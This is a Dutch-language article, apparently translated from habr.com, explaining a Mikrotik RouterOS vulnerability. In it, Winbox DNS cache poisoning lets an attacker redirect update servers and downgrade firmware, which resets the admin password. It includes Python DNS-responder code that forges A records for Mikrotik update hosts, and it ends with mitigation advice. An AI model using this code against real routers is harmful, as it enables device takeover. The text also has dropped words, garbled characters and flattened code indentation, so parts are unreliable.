
De mogelijkheid om apparaten op basis van RouterOS (Mikrotik) op afstand te downgraden vormt een bedreiging voor honderdduizenden netwerkapparaten. De kwetsbaarheid hangt samen met het vervuilen van de DNS-cache van het Winbox-protocol en maakt het mogelijk om een verouderde (met een reset naar het 'standaard' wachtwoord) of gemodificeerde firmware op het apparaat te laden.

Details over de kwetsbaarheid
De RouterOS-terminal ondersteunt een resolutie-opdracht voor het zoeken naar DNS.

Dit verzoek wordt verwerkt door een binaire bestand met de naam resolver. Resolver is een van de vele binaire bestanden die zijn verbonden met het Winbox-protocol van RouterOS. Op hoog niveau kunnen de 'berichten' die naar de Winbox-poort worden verzonden, worden gerouteerd naar verschillende binaire bestanden in RouterOS op basis van een nummeringsschema dat op een array is gebaseerd.
Standaard is de DNS-serverfunctie in RouterOS uitgeschakeld.

Echter, zelfs wanneer de serverfunctie is uitgeschakeld, blijft de router zijn eigen DNS-cache behouden.

Wanneer we een verzoek doen met winbox_dns_request, bijvoorbeeld example.com, zal de router het resultaat in de cache opslaan.

Aangezien we een DNS-server kunnen opgeven waar het verzoek doorheen moet gaan, is het triviaal om onjuiste adressen in te voeren. Bijvoorbeeld, het is mogelijk om een implementatie van de DNS-server van , zo te configureren dat deze altijd reageert met een A-record dat het IP-adres 192.168.88.250 bevat.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()Nu, als je met Winbox voorbeeld.com zoekt, kun je zien dat de DNS-cache van de router is vervuild.

Natuurlijk is het vervuilen van voorbeeld.com niet erg nuttig, omdat de router het feitelijk niet zal gebruiken. Toch moet de router verbinding maken met upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com en download.mikrotik.com. En dankzij een andere fout is het mogelijk om ze allemaal tegelijk te vervuilen.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()De router vraagt om ƩƩn toestemming, terwijl wij er vijf teruggeven. De router cachet al deze antwoorden onjuist.

Het is duidelijk dat deze aanval ook nuttig is als de router functioneert als DNS-server, omdat het het mogelijk maakt om clients van de router aan te vallen.
Deze aanval maakt het ook mogelijk om een ernstigere kwetsbaarheid uit te buiten: een downgrade of terugport van de RouterOS-versie uit te voeren. De aanvaller reconstructeert de logica van de update-server, inclusief de changelog, en laat RouterOS een verouderde (kwetsbare) versie zien als actueel. Het gevaar hier is dat bij de "update" van de versie het wachtwoord van de administrator wordt teruggezet naar de standaardwaarde ā de aanvaller kan het systeem binnen met een leeg wachtwoord!

De aanval is volkomen operationeel, hoewel nog enkele andere vectoren implementeert, inclusief , maar dat is al een overbodige techniek en het gebruik ervan voor onwettige doeleinden is strafbaar.
Beveiliging
Eenvoudigweg het uitschakelen van Winbox helpt om deze aanvallen te voorkomen. Ondanks het gemak van beheer via Winbox, is het beter om het SSH-protocol te gebruiken.
Bron: habr.com
